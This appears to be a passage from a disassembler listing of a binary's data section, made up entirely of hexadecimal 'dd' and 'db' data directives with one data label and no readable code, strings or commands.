dd 0D9EEC2h, 185C2E93h, 0F585498Bh, 3238CDE2h, 0C660FE23h
dd 50E3C7A0h, 30C16045h, 0A5AB43BBh, 0FF014C90h, 916D5233h
dd 0D3EC4989h, 0DACC0036h, 80F27525h, 56FE7C8Dh, 0EAB9AA03h
dd 0A7990135h, 62F019F7h, 654FED0h, 0A7B8AC9Fh, 7C0921D8h
dd 1034C717h, 37A428h, 83A61124h, 8B02859Dh, 28B3C300h
dd 5C409A6Ch, 388048D7h, 0E4DD440h, 0DC49AC70h, 77875720h
dd 6B0072F0h, 8B53D0D8h, 274EE79h, 5AE7EF6Dh, 0C0DF8E04h
dd 0E5D1D5h, 0C8C065Ch, 0A4233707h, 8EC72E01h, 3AC8DE50h
dd 0CCBD6181h, 0C03B4A8Ah, 0D330B3E2h, 0F0B71821h, 6004F069h
dd 6A201105h, 0F3003B81h, 0DEBD8ED0h, 7F14C45h, 67E994FEh
dd 0B21B70A3h, 97311088h, 0FB4E30B5h, 6380AED0h, 6B54705Dh
dd 5AF70780h, 6EB72200h, 0D3C6A569h, 8E3401BFh, 7C81AFCDh
dd 0DB908056h, 4BA41C54h, 4E88A8C7h, 0D2003FCh, 11585AEFh
dd 0F534801h, 8AE3C02Ch, 3007D424h, 0B9E13B0Ch, 9F006A28h
dd 45B59B17h, 0A7EB22h, 0E97796C4h, 0A1DCFD83h, 0DF3DC91Fh
dd 8E9F2BC0h, 0F0C45Eh, 7595598Dh, 5BE2AE8Ch, 481538h
dd 0CE73A338h, 65D09Eh, 0A93F6F0h, 0E5A44FDDh, 41C0D94Bh
dd 9954E1h, 0B7B4E9BDh, 6D01C189h, 58D80D1Fh, 57C94541h
dd 353011E2h, 0C83000E1h, 0A5E7883Bh, 527EF84Ah, 6AA1A800h
dd 0B6BA5FABh, 0E3A72BCh, 53CAECB2h, 0F79AE3Eh, 3C81D2FFh
dd 304AD472h, 909B216h, 80C87403h, 0B3E305FAh, 25F100A7h
dd 80771E46h, 9B1F0EF4h, 6707B7C9h, 81CA4BEAh, 539FF903h
dd 0FE1014C7h, 0B002A4B3h, 89CC8ECBh, 0A366ACA0h, 0F065CFDh
dd 7205A87h, 219F6209h, 605F9BC6h, 62D4EE9Ch, 2B1786A2h
dd 0B1F73868h, 636DD300h, 0EEBADC92h, 0E4561E6Eh, 38D8809Bh
dd 4C484D43h, 80A0136Ah, 0EA4F9447h, 5E000833h, 0B7A5495Ah
dd 0C76A0C50h, 4B0860BFh, 527C21C0h, 1BAB649h, 0B7C456A4h
dd 83F2939Fh, 607845D8h, 2C60420Bh, 9B3046E2h, 0B6100171h
dd 576FB5AEh, 0F85810C8h, 0D9468422h, 0A6495902h, 1C58B7h
dd 0DD49517Dh, 0FF4D55B1h, 92A43115h, 4F950CA8h, 386F2939h
dd 70E8DB97h, 902103CCh, 1000F167h, 0B1160B11h, 76CCAE4h
dd 7FE248DCh, 0B7266722h, 60B2E05Ch, 4503044Fh, 4D7CDBE3h
dd 3B80DF24h, 0F7F554h, 70F27396h, 0B799AC33h, 50D17100h
dd 0FA2D9512h, 4E9F0057h, 7DC5E030h, 0E8004F6Ch, 2068A3F6h
dd 0B89E67D4h, 0DD180074h, 0FF48DB09h, 3D3BB32Eh, 9B5100F7h
dd 7BD6A9D3h, 74A5EE6Dh, 0C6F600C4h, 1D319AC8h, 65004675h
dd 0E49883Fh, 3913ABC5h, 0B8EF4F8h, 41C0E224h, 0C75D672h
dd 0B982D200h, 0F4C95122h, 0E6B603F9h, 0C8FA7388h, 46606104h
dd 1EC355F8h, 0E287C80h, 0A6F4DC44h, 91FE8900h, 40038821h
dd 0E0857062h, 2CA09009h, 0AB9400FDh, 0CADC4D97h, 0D12DC46Dh
dd 9DF066h, 0D37961A7h, 75E4764Ah, 372C19CFh, 333E76B8h
dd 0BF563A83h, 0BCE06F18h, 7B0F775Bh, 0D598C8h, 95FCA39Ah
dd 396B0026h, 0F0E031E1h, 0D8CF6471h, 0CB9C013h, 389D20Eh
dd 0F48F4BCCh, 0C1008154h, 0AA852087h, 31A340Ah, 0C3F929A6h
dd 0C7F05D93h, 0B40009BBh, 0BAEE5A63h, 0C6BF270h, 0D0F8DBBCh
dd 0AA2ABF41h, 475C90C1h, 0FA2E0115h, 1E234913h, 0C36C96FCh
dd 752A6D28h, 7CD73CD0h, 0F96EF51Eh, 0ADB7B580h, 449627F1h
dd 0BF70CD4Bh, 83B6F400h, 70A59139h, 285E02CEh, 0BCA95437h
dd 88D67D40h, 95C8FB07h, 24B08EB9h, 11DE53Eh, 8F687DEBh
dd 0A1E8780Dh, 187E0410h, 10F0B8DDh, 0A31C70D5h, 940240Ah
dd 3FEE2682h, 1A4B0EFCh
dd 9140DD22h, 5DD6E886h, 85299864h, 0AEE1FA40h, 0BA0F69EFh
dd 202B3AC7h, 0A580F706h, 282F006Eh, 0DAF908FCh, 7E0011D2h
dd 45572D99h, 1C0D6371h, 0C0F0AC7Fh, 0D0413E8Ch, 9000AF6Ah
dd 2C71989Bh, 6B6CE9h, 0FACB73BEh, 3D0DE549h, 0BFC67202h
dd 605C1CF0h, 4C39FBh, 26B1B4D7h, 305B6EAFh, 0C4954416h
dd 0FD3FCE00h, 15F2105h, 0AEF4F6EDh, 0C43BBCF8h, 670050A1h
dd 4005238Fh, 79B8E60h, 2D7A90EAh, 0E8D97041h, 8807DADDh
dd 9409C833h, 0A90D767h, 3CD5AE2Eh, 0AF00C75Bh, 7142C993h
dd 0E500F425h, 0FF619E14h, 24F6FD1h, 0A784BA46h, 0BC820D72h
dd 6740C83Dh, 7B007D42h, 0D630D92Dh, 3FA12102h, 2F0064F4h
dd 8DA34547h, 2B018F07h, 0FB3BB877h, 0C9711892h, 0C8D0C0EEh
dd 0E2F9EEDFh, 0D3390008h, 338C8441h, 1138555Ah, 0EA1D12AFh
dd 95993C00h, 1842FDADh, 9C20B2FEh, 720325A5h, 7D5748D7h
dd 68B100A2h, 9BBD87E9h, 0B30FB518h, 0C0B6998Ch, 8FADCB9h
dd 668E0094h, 0FC400358h, 0D500FEFDh, 0A25041B3h, 2434AA7h
dd 7A8866C5h, 0FBC06082h, 9000042Dh, 0AC5F8D1Eh, 136D9FEh
dd 54769D3Bh, 30434DA5h, 0AA0087B0h, 9C3DEAC6h, 90E3EF02h
dd 35FF0050h, 7DB5B34Ah, 0E8006E33h, 6DBB424Dh, 839A89h
dd 0BD444EA5h, 1A0D0EEFh, 76B6F500h, 9742D01h, 7CDEA10Bh
dd 0E8CFACCh, 65EC0E9Ch, 402C1F92h, 0FBF438ACh, 0F1EAF248h
dd 0DDF890EAh, 0F3C54600h, 68D45935h, 150B3C16h, 0F4E3D980h
dd 678E8ACh, 33896A00h, 9657B225h, 780AFCDDh, 0B53700F2h
dd 1612443h, 0B118F077h, 0F621825Bh, 0E5C01F5h, 747E0FB2h
dd 0E4198076h, 59860968h, 3BC400AEh, 0B87F3C0Eh, 0AB0901E8h
dd 1F22F47h, 18FE9CD0h, 0C3D6E4h, 4684E5F0h, 0BECEA330h
dd 97EAD900h, 4CA92604h, 727E3927h, 4F997F03h, 8EB90855h
dd 4298EC83h, 0E7115001h, 73223395h, 0F79C880h, 0B60A1924h
dd 44934A24h, 544F1280h, 0F6EF6ED4h, 5337A9Fh, 78760E7Fh
dd 153B801Ch, 0C117FE71h, 1EBEAB29h, 0D995CCF0h, 0F100A0D9h
dd 0A9BC80DEh, 0EA6BC6h, 6EE9B6FFh, 0E8DD63Dh, 9767B300h
dd 946495D1h, 0F2E326B2h, 0A95B0441h, 0EA0080E0h, 3500837Dh
dd 973953F7h, 1DB79DE5h, 8001434Bh, 7A3A4FBAh, 5816AF7Fh
dd 33007B9Ah, 291973C3h, 792A0383h, 2B9062F1h, 23EDB580h
dd 0DE986C00h, 0B9A26B8Eh, 2470030Fh, 0C67D73D2h, 4E6031B2h
dd 0BE0317FBh, 0F4A28009h, 0E1E4F0CCh, 0E5D600F6h, 0C572B20Ah
dd 8A00506Dh, 91537B30h, 1FF2EAC3h, 536610B4h, 0A41000BAh
dd 0D06552E5h, 86E40700h, 2C60BC11h, 0BD1500B1h, 3581E1C1h
dd 653DEF6Dh, 23D9938Fh, 903B1400h, 2C68B3CCh, 8004390Ah
dd 5A389759h, 7874960Ch, 36C1A400h, 4F780B5h, 0F37903B6h
dd 0EED3408Dh, 669BBF0h, 977CDA00h, 0E41509ECh, 2CB8097Bh
dd 7B80D5DBh, 641C7CDh, 2D4C51F8h, 0B1E6005Ch, 297863A7h
dd 0CDA2C38h, 0F514014h, 120E4861h, 60593B2Ah, 0E097C104h
dd 0C04901AEh, 94BFD447h, 0F0143011h, 5FB4E800h, 139E7002h
dd 0DF90C7D1h, 0F9EC30DCh, 0C9007DF7h, 4F27575Fh, 669F7Ch
dd 7F5C01C4h, 37E43C92h, 1ACB1000h, 0B2872B9Eh, 2EF048C6h
dd 514FBD04h, 0E13C809Dh, 0CA1ED56Ah, 37006EC1h, 3CA3ED90h
dd 0AEB516C3h, 0D7D00358h, 63BF9CA9h, 1ED304F6h, 0D1B2D000h
dd 6CBF27EFh, 0ED8100FEh, 0A73F07AAh, 68070593h, 8DC19FE8h
dd 68D0C504h, 0CA314h, 9DDC2B8Bh, 5998AF42h, 0F7E4961Eh
dd 0A89B5204h, 0C6FB7881h, 0D5F003D5h, 305700B9h, 68BFB32Ah
dd 0FFE0CA3Dh, 2C96722Ch, 63EF200h, 49BD290h, 19D6E503h
dd 1565C04Fh, 6F00FE8Ch, 0A53D07C3h, 0EA6D6537h, 480B282h
dd 9E66C29h, 151AC057h, 25F8CC9Ah, 0A0740B00h, 35ABEE3Ah
dd 77AC002Ch, 76DAB233h, 0A27E4E8Ah, 6E044700h, 1D11B0D8h
dd 0D49C0353h, 315F0A88h, 7C7879C0h, 0E06CF000h, 6F90ADA2h
dd 0CABB3A51h, 5C49CF85h, 0BDF4034Ch, 0BCC83A25h, 75001F7Fh
dd 84B917FDh, 0E4BAC4E4h, 1C1C90E7h, 80455C27h, 0B7337496h
dd 21003935h, 73C6F6FCh, 4C89FAA4h, 0D3323818h, 84C07EEEh
dd 7F226D22h, 78A3CCBh, 9A167972h, 0CC080540h, 829C56BBh
dd 0E463801Fh, 3B79CAB8h, 0AFD16501h, 0DA285A25h, 14F8DEECh
dd 64950D46h, 80AB241Dh, 0AC150A8Fh, 0F91F68B2h, 189FD606h
dd 69390400h, 0B0E42DBEh, 4E491EB4h, 0C6BC402Ah, 0ACD2D379h
dd 1B9F9602h, 80877AE9h, 0B5E8CBB7h, 31A30072h, 4D9718D8h
dd 0AB076EF3h, 962459F6h, 380780B0h, 4250013h, 0DF93860Eh
dd 9478F7BDh, 44D85000h, 3BCBA13Fh, 144501C1h, 4CC47B84h
dd 0D4DDF9B6h, 6702FBBCh, 0E5E1AA86h, 0E684C4ABh, 0C8622C40h
dd 57788194h, 706CCA9Ch, 0E100D7C0h, 67B1D2C0h, 0E2C4CFh
dd 0C876AA3Ah, 0DBC3CB1Ch, 0D1ACCD5Eh, 82628h, 0C9CF6FBEh
dd 90B7A8D6h, 4CD85C3Eh, 0DFB60700h, 4C40356Ch, 9A21A18Eh
dd 249E120Ch, 0B024870Bh, 9FD781F8h, 7B82181Dh, 0EF23C406h
dd 0A81D1028h, 0B0E0880Ch, 0C932A330h, 95C58918h, 614B6C38h
dd 0B834D1E1h, 0E665E507h, 32812480h, 1500E5A3h, 0F59E6BC7h
dd 36F0AE7h, 0CCEE9F7Ah, 97B056ECh, 110379D9h, 0A08DD482h
dd 13BF021h, 9030A4CBh, 869700D1h, 0BFB13EE8h, 2A012985h
dd 856148Bh, 98D06299h, 3E3F004Fh, 0E2FF221Ah, 850097EEh
dd 0C22DD018h, 1ECBFE10h, 83535CCFh, 80C343ADh, 2408A7D8h
dd 52BA761Eh, 69810ADDh, 0F2553177h, 230BC980h, 3344CAA4h
dd 6C22010Eh, 14181DCBh, 1BB021h, 0D96AAAA4h, 0DDB9732h
dd 0C400A975h, 4036FE5Bh, 0E3315A6h, 7E759FC5h, 0EBD718F8h
dd 0D0DD1B29h, 4DD87D00h, 767B646h, 0AF9EE46Bh, 218A466Ch
dd 4D806200h, 0A8CF6F0h, 0D30601A1h, 23725F71h, 7DD85007h
dd 8387EF2h, 924805Ah, 22715005h, 856C04EFh, 40F6B640h
dd 0F43EEC1Eh, 48A90099h, 0D3294172h, 0F1071CD8h, 0A2C01AD1h
dd 23770BC7h, 6C842F15h, 0C0388C08h, 44C5A430h, 8085CB70h
dd 17A3C8ABh, 0D401D29Bh, 7E60F95Eh, 8906BC32h, 0BE8858A0h
dd 79901F50h, 1862AE10h, 9A40187Ch, 0F68E190Fh, 0B29CF057h
dd 4F0BC0C1h, 829B0625h, 0D0A9E4B7h, 33B3E33Eh, 0E08AE86Ah
dd 0D752DAh, 8EB2A83Bh, 80387949h, 34F48F1Ch, 2C725B40h
dd 2BC725h, 5213A306h, 0ED5115DCh, 0DD1C2172h, 62409DD1h
dd 5EB65F4h, 0B52C038Fh, 3F9ABE55h, 2A0040D6h, 250A7BE3h
dd 0C94D3Ch, 0A9089D2Dh, 0D1819906h, 0BF0C4E00h, 0A0466FA7h
dd 19EEA26h, 1ED4C9B0h, 802A256Ch, 1D67C288h, 11A4EDh
dd 2B36F43Dh, 0DF0F8EF0h, 0F513EF07h, 2F705D2Ah, 0CD41C49h
dd 8CE43947h, 7015B80h, 9B147BC0h, 5320EC26h, 9B025089h
dd 0D9BC0955h, 288C4D45h, 82607AB1h, 0D11CBE39h, 25A80350h
dd 0A1F3F261h, 0D51BFD0h, 68DB7E00h, 8FB67203h, 438300D3h
dd 0F25C5787h, 19C11730h, 82DFDAF3h, 0B7BC7810h, 7070B530h
dd 111D7236h, 19E7A29h, 3E0D3C74h, 91C0BC70h, 842707C4h
dd 20A34F11h, 859B2134h, 0D7D75B8h, 3F4CAB71h, 758700C1h
dd 999198FEh, 0F0F400A7h, 0AB0D7FE1h, 0C7486F8h, 22218E60h
dd 76DF33Fh, 56765C9Dh, 0A0EEB0B0h, 79804ADEh, 99D703BCh
dd 3B35FFB6h, 0A912CFA8h, 0A464F907h, 0AD70E469h, 1BE63B4h
dd 0AC79941Dh, 40C2FE99h
dd 706B9E20h, 45C64E00h, 6D7D75D0h, 679BE8CBh, 1F4320A4h
dd 0E5DE7B22h, 0D867ACE1h, 7E70452Ch, 0F09A50Fh, 0B0A2E0DCh
dd 6068BA12h, 0D6FE5930h, 63302993h, 0F77811B3h, 359503B7h
dd 2D4A97F0h, 0AF120918h, 0FF5820h, 38DD6B7h, 0A5BACAE2h
dd 18309400h, 0F1FEC078h, 59950086h, 0DBD311C2h, 0A13B3BB0h
dd 0ACA9A803h, 808C3E21h, 0E1F1F4DCh, 82850C97h, 0DF39437h
dd 55AF3DC0h, 0E7086603h, 0F9477B01h, 68808CC6h, 9C32BB26h
dd 5000D771h, 189853FBh, 6FA9BEh, 0E33EB9B4h, 0AE2786FEh
dd 3CC2D70Fh, 3BADC060h, 1E9299F8h, 8C6E9Eh, 1D24DAD4h
dd 0DC00FCC4h, 4E636866h, 0D99EEBh, 4115E020h, 37D26424h
dd 3D1F6D00h, 10307E99h, 26F6002Bh, 0CE24A1C5h, 0D4007275h
dd 0B6480477h, 59151Dh, 96227692h, 0DEBBB9FFh, 0DF00D5B0h
dd 0EC828565h, 393A5D4h, 747BF136h, 0D5F9CDEFh, 0F6EFC3Ah
dd 0C9452A00h, 0FA99C62Ch, 87A201FBh, 0B63B840h, 0A6C0F8B1h
dd 0C5096179h, 8CBB9FF6h, 0A59D1160h, 0ECDE104h, 331080A3h
dd 0F31EB5B9h, 5B733C60h, 467DD100h, 0BF8C673Bh, 0AFD26E00h
dd 0BE669C74h, 9E807B3h, 0D1A1D8D1h, 0C8EBB4F0h, 0A600F384h
dd 0C957ADC7h, 3F11338Fh, 0B91853EAh, 2AE858E3h, 5BE22E00h
dd 2F15C168h, 0CD7857h, 0B39F3F0Bh, 49227025h, 38475D03h
dd 0B87B92C8h, 0FA4237A3h, 2D7F012Fh, 66F36C21h, 0E8A0D112h
dd 0CA0394F2h, 5D7D0D41h, 0B3D790DBh, 0B55500D6h, 725E1E31h
dd 0B700326Ah, 79FD307Bh, 0F5BF76h, 2FDA428Dh, 0D64BA7EFh
dd 0AD150A00h, 27C9F254h, 0A8FC03CAh, 0E5424691h, 0ECAC7DE0h
dd 9700C777h, 0FEF1040Fh, 0DCA5F6h, 744BCBD2h, 0B9AC321Dh
dd 9FE34E02h, 0D8B45625h, 0AD60E38Dh, 0B01903CDh, 0C29BB8DEh
dd 558965E8h, 0F1C440FFh, 0BC000C11h, 4B394262h, 1814577Fh
dd 0AA801C03h, 0E4FC5982h, 644A912Eh, 77019912h, 77B27C65h
dd 60802171h, 803B02C5h, 7F0FC6A8h, 5035654Fh, 62E09200h
dd 2F13566Dh, 0F923A900h, 1536CE52h, 0B95A0009h, 9F8B692Bh
dd 9302F226h, 3A524825h, 70BEC086h, 31460040h, 59870FDEh
dd 0DDFAE417h, 0C3C1CC03h, 3BDA5D5Ch, 0A98007C0h, 34E750FEh
dd 15006ADFh, 7DC7DB38h, 0A8BBAA9Eh, 0E594DF8h, 0FA17A62Eh
dd 2B167AC0h, 0CB00DCE5h, 14C7E4DBh, 0D1C3AFh, 0E71FAE56h
dd 0D2F691A9h, 766F9400h, 9A3CF5E2h, 6A18010Ch, 7FE24DEh
dd 58377096h, 63FC3007h, 5F80B568h, 78A959Eh, 62812688h
dd 0BD5840FBh, 48001D14h, 0B93B04CEh, 94515Dh, 6A4FB0F5h
dd 0C02F68DDh, 0C973F90Fh, 6220C410h, 0FB209887h, 3CF0066Ah
dd 0D83BC68h, 3642EEB1h, 3F3B18A0h, 2F0E1B78h, 408E866Ah
dd 1CAFE1D6h, 7D710048h, 0C7B6A435h, 750E62E3h, 27575D88h
dd 87404364h, 422C8A3h, 86E53CD9h, 8E6087CFh, 0AD63FA60h
dd 79000CB5h, 56F418D4h, 3C1395CDh, 0DD1E1085h, 393D8057h
dd 0E9504F7Dh, 35F8C450h, 11FB9107h, 0EA509EBAh, 49C94Eh
dd 0CFDECCE8h, 0FE2A6AFDh, 8C03DA71h, 0AFBA71E3h, 373BD904h
dd 721C420h, 9866BBFDh, 7CC390C7h, 95009B15h, 24C061C1h
dd 548C26B9h, 1D9E880h, 50F36EF6h, 0E14F7CFEh, 463C2436h
dd 7976E100h, 0DDFF3252h, 0A3FB003Bh, 0F3F4971Dh, 7C005B92h
dd 3ACE6646h, 456E7Dh, 0AFD0E521h, 1475E720h, 686CC413h
dd 0EC88C05h, 0F2488C03h, 0FFDCE04Ch, 150200F9h, 0C4914D0h
dd 0CB00F5C1h, 9D3D3953h, 0BAED75h, 3B01B7B9h, 0C42FC50Eh
dd 0A832D414h, 1EAF1CE3h, 0B798E600h, 0ECC003h, 0E48F87A6h
dd 24B1B083h, 0FE16B800h, 0B267285Eh, 1239005Bh, 44B6746Fh
dd 0B30043C4h, 0BC526C0Ch, 5DDD63h, 191E6B67h, 288C458Fh
dd 0C79FAD14h, 790A0084h, 4DBF6A3h, 8413006Eh, 0DF167BEAh
dd 5B001597h, 0F0CA9D08h, 690DBCh, 0F2A99B7Fh, 0B1FDA6EAh
dd 7C03AE39h, 0D932C500h, 9EC69C58h, 5DBF0001h
db 7Dh, 0E0h, 0EBh
db 0DFh
dd 0A20E17F9h, 20F4FBA4h, 0D63D3E7Fh, 0B1B62612h, 6C4780F8h
dd 0D5A88C1h, 2014A4A1h, 0E600CDD0h, 0A7E2F435h, 6352DEDFh
dd 34C021E0h, 65B014C3h, 4D005726h, 0A859D066h, 78E89Ch
dd 0C38EF95Bh, 0D605802h, 57931600h, 0B740D156h, 253D2E4Ch
dd 10CF18E4h, 2F90F588h, 35CC2B00h, 7996D3F6h, 16AC07B4h
dd 203C2A40h, 0E6B744D5h, 0C93E7F78h, 0FC4C72h, 5B6BAF57h
dd 0EB6245h, 34D5EAE5h, 379A5297h, 1950640Fh, 0E91AAD10h
dd 34AFECh, 9CA1ABA6h, 413929DFh, 97E4097Ah, 7D05E41Ch
dd 1567AA00h, 9600A65h, 812E9DFEh, 1AEC0400h, 0E100B668h
dd 0FA67BEF2h, 3C230A2Fh, 480C68Ch, 6FE77345h, 8D5CDDD8h
dd 79284C64h, 9F811F07h, 3BD039CFh, 0DA18A5h, 0FE0A55F8h
dd 7762FB2Dh, 9CF75Ch, 17AF431Bh, 7AC31A81h, 3D45007Dh
dd 27B774AEh, 9F1D67CDh, 118012CEh, 66E81AF9h, 447184h
dd 57DE4390h, 0D7F86AA5h, 69A25105h, 0D80017BAh, 9132687h
dd 0A1280035h, 0D077E80Bh, 81DCE7Ah, 6BC3EED1h, 0D0393EDAh
dd 0B3EC92h, 480565DEh, 0D70325B9h, 84BE4F00h, 0C6B42436h
dd 0C08200C2h, 0E5DAB2E8h, 8EC0F57Ch, 92B3E085h, 72C30060h
dd 917EB439h, 48003135h, 9F966C53h, 7A2D7D2h, 69450768h
dd 2A645019h, 0F00E205h, 0D03A5FF2h, 89316Fh, 731126B0h
dd 4462DE22h, 2EBD1A0Eh, 9B41806Bh, 0E52557h, 4A2430E3h
dd 0E9271084h, 2E65BD00h, 0FBAC9901h, 350D2E38h, 51AB8068h
dd 0CFDB5CB4h, 55166CF6h, 0DB001181h, 0D43B16A5h, 22CC00ACh
dd 3F1EBE32h, 0FF004740h, 18B8A063h, 7F68E82h, 8B879CF7h
dd 16AE01Eh, 44019011h, 6C491DF0h, 84722FFh, 18557870h
dd 0DC400084h, 0E0AA104Ch, 5E606047h, 0C138DE91h, 94561D20h
dd 0B8FD4055h, 405FE369h, 10A16032h, 0C3E4EB4Ah, 8EC5C0C9h
dd 0B29C091Ah, 0D20012D4h, 2F3D4926h, 0D1DAC00h, 0EEB87250h
dd 0E9C0002Dh, 0B6BDB5A2h, 161D629Fh, 46CAEA37h, 10004099h
dd 5B2CE095h, 72E5A094h, 1C850FAEh, 7B878DE2h, 3924A196h
dd 0E448CDA3h, 4506E627h, 54BD3FE5h, 5EC60590h, 907FE18Bh
dd 6B48402Ch, 5AA30A0h, 5C02E9FCh, 0E2E5E0E4h, 0C0148075h
dd 1F1EB78Ch, 0C9D903C2h, 835ED3BFh, 9A80861Eh, 0A231C02Ch
dd 148FA26h, 65F35EB3h, 60C92D21h, 0AA00AE08h, 54831DFEh
dd 2C6846h, 0B993729Fh, 0FD6CFC80h, 153E6400h, 0EC8DB38Ch
dd 39ED00F4h, 9B4BC1A8h, 980E7613h, 0A3129177h, 8070D13Fh
dd 704D7F9Ch, 0E12E39E7h, 0F8E38A00h, 3D79385h, 6D4ED300h
dd 0C143BCD5h, 0F0481859h, 0B9611A04h, 30ABBF26h, 1B3CBD80h
dd 0A086372Ch, 749E1EACh, 21AA6090h, 271C6EE2h, 0F7B24607h
dd 0C8E1A8DFh, 1960A5DDh, 21FD009Fh, 0E5357C5Ch, 0D201F996h
dd 0EC34E63h, 0A050DC07h, 16D2FA0h, 0C21AAE79h, 9602B55Dh
dd 0AC400408h, 76D17F5h, 7A5F0180h, 0A9D6F95Eh, 0C4808398h
dd 1DC356E4h, 1A5F7F58h, 0FCEB2038h, 28CD073h, 37301BA0h
dd 12169066h, 1C72DEh, 0BE75FC4Bh, 0E103D16Ah, 595B84CDh
dd 2A34887Bh, 749D0D33h, 2069DE39h, 5100E8D4h, 34FD1960h
dd 0E8FBE148h, 49E40D4h, 9DE81307h, 7AA36DEBh, 7B000DCh
dd 0DE332616h, 0EA3F52C1h, 6FA00336h, 94962741h, 0E0019D07h
dd 0A5AAE59Eh, 0A8A1E107h, 3346E0F5h, 0C6A30021h, 8E5BA99Ch
dd 0FD1822F7h, 0C249D38Ah, 0A2023052h, 0B981A610h, 2FF83400h
dd 2193E88Bh, 71FAFBh, 9AE0C9B6h, 0F232D8A6h, 5720E200h
dd 6A139FFh, 898A000Eh, 0A46BF5FAh, 6C0FE4D8h, 802A15ECh
dd 0A72196AEh, 173700B2h, 6EEB4677h, 8400927Ch, 0FB580A53h
dd 0F65D689Eh, 0E72F00AEh, 0CAC09D4Dh, 0C275FD4Eh, 25E5CF03h
dd 90A253FBh, 61CC5h, 97F3B7BBh, 0C3FC3836h, 402B7400h
dd 814A90AEh, 937A0F49h, 0F2E1CE89h, 9FBDE707h, 0C100F930h
dd 0A6A5FB17h, 395807E0h, 0E029527Ch, 8FB673C6h, 1AEC184Ch
dd 6030CF5Ah, 39BD1AAh, 3B5EB53Eh, 0BCF0CDDBh, 28CF2D40h
dd 60DF8E52h, 3B46E139h, 56CB006Bh, 0FA37E911h, 3F4FB908h
dd 6800B0ECh, 75C9F7Ah, 0BB0FF2F0h, 6ED9F937h, 107DC08Ah
dd 143CF1DCh, 40F3B4EBh, 0BC3E4F80h, 6D00331Dh, 38503FF8h
dd 40DE6F1Fh, 8A1F6AF4h, 0E8DCA7D0h, 0E5CB5340h, 11CEBF3h
dd 459FA04Eh, 50C421FAh, 0CB386E80h, 7369C300h, 50830F9Dh
dd 5F433D7Bh, 1C4ED9E0h, 16012DF6h, 511AF874h, 0B570F7E0h
dd 0F0FA625Bh, 0C0A0EFFEh, 3644C4B4h, 0A4E85100h, 0CE9B7A38h
dd 11461873h, 0B5B19209h, 0DC9878C3h, 4B7AE813h, 0E5AE001Ch
dd 7B8910ABh, 8F0A722Fh, 9C57DC1Bh, 0FA99AF00h, 1FDB515h
dd 67883E5Dh, 0F04F2E0Ch, 0F700DDA2h, 41528A63h, 0E8B15A3h
dd 75BE44DAh, 786BFDC0h, 9FE2A267h, 809829C9h, 0C04BF4EAh
dd 58D70007h, 27D48B32h, 401E3A3h, 8A62AD4Ch, 7A817A14h
dd 6BBF09F2h, 0B376E0C6h, 5D8D890Eh, 62F7618Ah, 5980A1C1h
dd 0DCD68F36h, 0E50009DBh, 0AB3A709Fh, 37721FE4h, 0C048882Eh
dd 1DF39277h, 318CA0A0h, 5B71958h, 74C620A1h, 80773008h
dd 0D56818DEh, 88013C69h, 0E9C4254Ch, 0CBCC946Fh, 0E8E70078h
dd 0C379F691h, 19C17A61h, 8AAFF772h, 1006F910h, 0E78D3E1Dh
dd 0B08E6F8Ch, 8A083ABBh, 129B973Bh, 0F3E076CDh, 450FDA7Fh
dd 402B8F21h, 419B0C2Dh, 0D1B4008Ch, 84E19CCDh, 80957E01h
dd 3E26360h, 0CB120E3Bh, 7DE06D36h, 7E055C5Fh, 0B1A2B800h
dd 821D855Eh, 2BD00BAh, 24D28141h, 3A00D4E4h, 209F4EB9h
dd 0B25C72h, 0D164B025h, 0BF74E65Bh, 79C77E03h, 0A3C9AD38h
dd 73210EE4h, 5140E613h, 0A9B33C0Dh, 2B006B98h, 89BF41C0h
dd 78321BAh, 0BDD4B163h, 81254064h, 8200CA95h, 62EFDC29h
dd 0D37850Ah, 0E33C2BDAh, 0B0298040h, 0C77C0477h, 92BA068Ah
dd 2082325Bh, 20B8CE06h, 297A03h, 73E54BC4h, 0A7783BBCh
dd 7974F573h, 20C0B8EEh, 5E5A3B9h, 0DC6700A4h, 3065273Dh
dd 91E6436Eh, 0AAEF3B18h, 0BDF558h, 0C8D9921Bh, 0F053ABB7h
dd 80DA4530h, 1F51E2EEh, 401AC209h, 6F5A77D6h, 3717DF7Ch
dd 8D1DB976h, 0AAC5AE03h, 63C0984Bh, 0DC3A005Bh, 0B0FBCDDDh
dd 0E6011A6Ch, 6338FB7h, 0B02E535Ah, 0D91C748Ah, 84C0A559h
dd 0D7D65245h, 0FAFB0008h, 2429E586h, 0A64C2D6Fh, 4B4600BAh
dd 400C7D2Ch, 5F850034h, 11613791h, 89EAE8AFh, 9000D2ECh
dd 10077422h, 77B5F0h, 24EA58FEh, 1198600Eh, 807C863Ah
dd 0BEE0A347h, 4FFCF8h, 6DDD038h, 690E21E3h, 632E9D00h
dd 1388AE3Bh, 487A00F8h, 0C92899BAh, 9A3CCAD7h, 27B300F6h
dd 665F45A6h, 983204C7h, 80E1DEF0h, 0E7D393F6h, 8C838638h
dd 88B635Ch, 2421C0E2h, 0CB9AD299h, 0A7F76801h, 5F46C5C3h
dd 0AE073C0h, 0E3493B15h, 0A6430383h, 37D8271Fh, 0F2FE7255h
dd 49DB1731h, 0CAF46CDDh, 11C1608Ch, 68593BBEh, 0FC7D4401h
dd 35754BF0h, 0C0E2D3D0h, 56628120h, 1D003332h, 0E9F5EC65h
dd 60AC023Eh, 0B6435899h, 0DD01196Bh, 1A623D37h, 68F01815h
dd 90EC33DAh, 0A2E13E70h, 5918804Eh, 0BF178DA1h, 281A00FAh
dd 0C9C88C26h, 8B755AB8h, 6C7B7E00h, 30565743h, 0F6C100C0h
dd 65F32ED8h, 110014B6h, 0B9CD61C4h, 412001h, 53795762h
dd 7C637A0Bh, 0D2F53Bh, 0AF7487A4h, 0FBC6082h, 14BD4ACh
dd 0A1779700h, 7B003399h
dword_562194 dd 0B28F6795h, 0FE1CC7D8h, 214307A8h, 903A14E1h, 74E4C6D2h
dd 9CEC3300h, 3937BCAFh, 7A833EB4h, 8A5A100h, 6EAC5F09h
dd 4EB69200h, 6A736C2Eh, 0FCDE180Ah, 0A6110876h, 77DC20C0h
dd 1D15042Dh, 408299C0h, 6A0610E3h, 0BA1C7419h, 4142354Ah
dd 0FFBCB14Bh, 0DB26B101h, 6C9EDCB0h, 44AC6203h, 3CDD8B8Fh
dd 0CE025650h, 38471599h, 0EFB8BD60h, 30B69A3Ah, 3CAF21A6h
dd 0E9BA0F15h, 98CFC167h, 2C5872E0h, 13186D92h, 7960DA7Ah
dd 0C6D80A5Eh, 568E47Ch, 200CA5A0h, 0D02E4A70h, 0C38A743Dh
